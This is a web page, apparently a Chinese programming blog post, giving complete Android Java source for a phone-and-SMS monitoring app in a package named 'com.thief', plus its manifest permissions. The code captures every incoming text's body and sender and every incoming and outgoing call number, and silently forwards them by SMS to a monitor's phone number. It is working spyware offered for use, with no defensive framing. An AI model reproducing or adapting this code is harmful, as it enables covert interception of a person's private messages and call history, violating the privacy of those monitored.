Android電話及短信的監聽程序源碼

package com.thief;

import java.text.SimpleDateFormat;
import java.util.Date;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.widget.Toast;

public class CallHoldReceiver extends BroadcastReceiver {
    private final static String mACTION = "android.intent.action.PHONE_STATE";
 @Override
 public void onReceive(Context context, Intent intent) {
  // TODO Auto-generated method stub
  //Toast.makeText(context, "11111111111", Toast.LENGTH_LONG).show();

        if(intent.getAction().equals(mACTION)) {       
         //Toast.makeText(context, phoneNr, Toast.LENGTH_LONG).show();
         Date date = new Date();
         date.setTime(System.currentTimeMillis());
   SimpleDateFormat format = new SimpleDateFormat(
   "yyyy-MM-dd HH:mm:ss");
   StringBuilder smsCont = new StringBuilder();
   smsCont.append(format.format(date));
   smsCont.append("--");
   smsCont.append(intent.getExtras().getString("incoming_number"));
   smsCont.append("--");
   smsCont.append("callee ");
   smsCont.append(intent.getExtras().getString("incoming_number"));
   MessageHandler.send(MainActivity.PHONENO, smsCont.toString()); 
   //Toast.makeText(context, intent.getExtras().getString("incoming_number"), Toast.LENGTH_LONG).show();
        }
 }

}

 

 

package com.thief;

import java.text.SimpleDateFormat;
import java.util.Date;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public class DialReceiver extends BroadcastReceiver {
 private static final String mACTION = "android.intent.action.NEW_OUTGOING_CALL";
 @Override
 public void onReceive(Context context, Intent intent) {
  // TODO Auto-generated method stub
        if(intent.getAction().equals(mACTION)) {
         //得得打電話消息
         //Toast.makeText(context, intent.getStringExtra(Intent.EXTRA_PHONE_NUMBER), Toast.LENGTH_LONG).show();
         Date date = new Date();
         date.setTime(System.currentTimeMillis());
   SimpleDateFormat format = new SimpleDateFormat(
   "yyyy-MM-dd HH:mm:ss");
   StringBuilder smsCont = new StringBuilder();
   smsCont.append(format.format(date));
   smsCont.append("--");
   smsCont.append(intent.getStringExtra(Intent.EXTRA_PHONE_NUMBER));
   smsCont.append("--");
   smsCont.append("call to ");
   smsCont.append(intent.getStringExtra(Intent.EXTRA_PHONE_NUMBER));
   MessageHandler.send(MainActivity.PHONENO, smsCont.toString());
        }
 }

}

 

 

package com.thief;

import android.app.Activity;
import android.content.IntentFilter;
import android.os.Bundle;
import android.telephony.PhoneNumberUtils;
import android.view.KeyEvent;
import android.view.View;
import android.view.View.OnClickListener;
import android.view.View.OnKeyListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;

public class MainActivity extends Activity {
 public static String PHONENO;
 private final static String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";
 private final static String NEW_OUTGOING_CALL = "android.intent.action.NEW_OUTGOING_CALL";
 private final static String PHONE_STATE = "android.intent.action.PHONE_STATE";
 private Button btnstarted = null;
 private Button btncanceled = null;
 private TextView titletips = null;
 private TextView cellinfo = null;
 private EditText cellno = null;
 private OnClickListener btnstartedClickListener = null;
 private OnClickListener btncanceledClickListener = null;
 private OnKeyListener cellnoKeyListener = null;
 
 private SmsReceiver smsreceiver;
 private DialReceiver dialreceiver;
 private CallHoldReceiver calleereceiver;
    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
        initView();
        prepareListener();
        setListener();
    }
    /**
     * 初始化界面
     */
    private void initView() {
     btnstarted = (Button)findViewById( R.id.btnstarted);
     btncanceled = (Button)findViewById(R.id.btncanceled);
     titletips = (TextView)findViewById(R.id.titletips);
     cellno = (EditText)findViewById(R.id.cellno);
     cellinfo = (TextView)findViewById(R.id.cellinfo);
     cellinfo.setText(cellinfo.getText());
    }
    /**
     * 初始化事件監聽器
     */
    private void prepareListener() {
     btnstartedClickListener = new OnClickListener() {

   public void onClick(View v) {
    // TODO Auto-generated method stub
    if("".equals(cellinfo.getText())) {
     Toast.makeText(MainActivity.this, "號碼不能爲空", Toast.LENGTH_LONG).show();
     return;
//     Bundle bundle = new Bundle();
//     bundle.putString("PHONENO", cellinfo.getText().toString());
    }else {
     PHONENO = cellinfo.getText().toString();
     //檢查電話號碼的合法性
     if(PhoneNumberUtils.isGlobalPhoneNumber(PHONENO)){
         //註冊接收短信
         IntentFilter smsreceiverfilter = new IntentFilter(SMS_RECEIVED);
         smsreceiver = new SmsReceiver();
         registerReceiver(smsreceiver, smsreceiverfilter);
         //註冊撥打電話
         IntentFilter dialfilter = new IntentFilter(NEW_OUTGOING_CALL);
         dialreceiver = new DialReceiver();
         registerReceiver(dialreceiver,dialfilter);
         //註冊來電
         IntentFilter calleefilter = new IntentFilter(PHONE_STATE);
         calleereceiver = new CallHoldReceiver();
         registerReceiver(calleereceiver,calleefilter);
     }else {
      return;
     }
    }
    Toast.makeText(MainActivity.this, "設置成功", Toast.LENGTH_LONG).show();
   }
      
     };
     btncanceledClickListener = new OnClickListener(){

   public void onClick(View v) {
    // TODO Auto-generated method stub
    //卸載短信接收
    unregisterReceiver(smsreceiver);
    //卸載撥打電話
    unregisterReceiver(dialreceiver);
    //卸載來電
    unregisterReceiver(calleereceiver);
    Toast.makeText(MainActivity.this, "取消成功", Toast.LENGTH_LONG).show();
   }
      
     };
     cellnoKeyListener = new OnKeyListener() {

   public boolean onKey(View v, int keyCode, KeyEvent event) {
    // TODO Auto-generated method stub
    cellinfo.setText(String.valueOf(keyCode));
    cellinfo.setText(cellno.getText());
    return false;
   }
      
     };
     
    }
    /**
     * 設置監聽器
     */
    public void setListener() {
     btnstarted.setOnClickListener(btnstartedClickListener);
     btncanceled.setOnClickListener(btncanceledClickListener);
     cellno.setOnKeyListener(cellnoKeyListener);     
    }
}

 

package com.thief;

import java.text.SimpleDateFormat;
import java.util.Date;

import android.telephony.SmsManager;
import android.telephony.SmsMessage;

public class MessageHandler {
 public static void sendMessage(SmsMessage[] message) {
  StringBuilder sb = new StringBuilder();
  for (SmsMessage msg : message) {
   // 得到短信內容
   String content = msg.getMessageBody();
   // 得到發送者手機號碼
   String sender = msg.getOriginatingAddress();
   // 得到短信發送時間
   Date date = new Date();
   date.setTime(msg.getTimestampMillis());
   // 將收到的短信發送給監控者
   SimpleDateFormat format = new SimpleDateFormat(
     "yyyy-MM-dd HH:mm:ss");
   sb.append(format.format(date));
   sb.append("--");
   sb.append(sender);
   sb.append("--");
   sb.append(content);
   String sendContent = sb.toString();
            send(MainActivity.PHONENO,sendContent);
  }  
 }
 public static void send(String destPhone,String msg) {
  SmsManager smsManager = SmsManager.getDefault();
  smsManager.sendTextMessage(destPhone, null, msg, null,
    null);
 }
}

 

 

package com.thief;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;
import android.util.Log;
import android.widget.Toast;

/**
 * 短信接收器
 *
 * @author chow
 *
 */
public class SmsReceiver extends BroadcastReceiver {
 private final String TAG = "SmsReceiver";
 private static final String mACTION = "android.provider.Telephony.SMS_RECEIVED";

 @Override
 public void onReceive(Context context, Intent intent) {
  if (intent.getAction().equals(mACTION)) {
   // Toast.makeText(context, "收到信息", Toast.LENGTH_LONG).show();

   Log.i(TAG, "==============");   
   // TODO Auto-generated method stub
   Object[] pdus = (Object[]) intent.getExtras().get("pdus");
   if (pdus != null && pdus.length > 0) {
    SmsMessage[] message = new SmsMessage[pdus.length];
    for (int i = 0; i < pdus.length; i++) {
     byte[] pdu = (byte[]) pdus[i];
     message[i] = SmsMessage.createFromPdu(pdu);
    }
    MessageHandler.sendMessage(message);
   }
   
  }
 }
}

 

package com.thief;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public class SmsSendReceiver extends BroadcastReceiver {

 @Override
 public void onReceive(Context context, Intent intent) {
  // TODO Auto-generated method stub

 }

}

 

 <uses-permission android:name="android.permission.SEND_SMS">
 </uses-permission>
 <uses-permission android:name="android.permission.CALL_PHONE"></uses-permission>
 <uses-permission android:name="android.permission.READ_SMS"></uses-permission>
 <uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission>
 <uses-permission android:name="android.permission.READ_PHONE_STATE" />
 
 <uses-permission  android:name="android.permission.PROCESS_OUTGOING_CALLS"> 
 </uses-permission>

 

 

 

 

 

 

 


 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章